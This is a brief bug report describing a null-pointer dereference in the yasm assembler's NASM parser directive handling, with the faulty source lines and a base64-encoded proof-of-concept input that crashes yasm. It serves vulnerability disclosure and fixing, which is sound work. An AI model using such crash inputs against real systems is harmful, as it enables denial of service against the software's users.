In yasm/modules/parsers/nasm/nasm-parse.c:1562, the function nasm_parser_directive passes parser_nasm->absstart to yasm_expr_copy. However, the return value of yasm_vp_expr may be null, and yasm_expr_copy does not check for it.

parser_nasm->absstart = yasm_vp_expr(vp, p_object->symtab, line);
parser_nasm->abspos = yasm_expr_copy(parser_nasm->absstart);

Here is a PoC to trigger it:

echo ZGIgaO4QAHhdCmwAgAAAXQpsYWJlbDE3ClthYjE6ClthYnNvbHV0ZSdsYWJlbDFdCng6 | base64 -d > poc.asm
./yasm poc.asm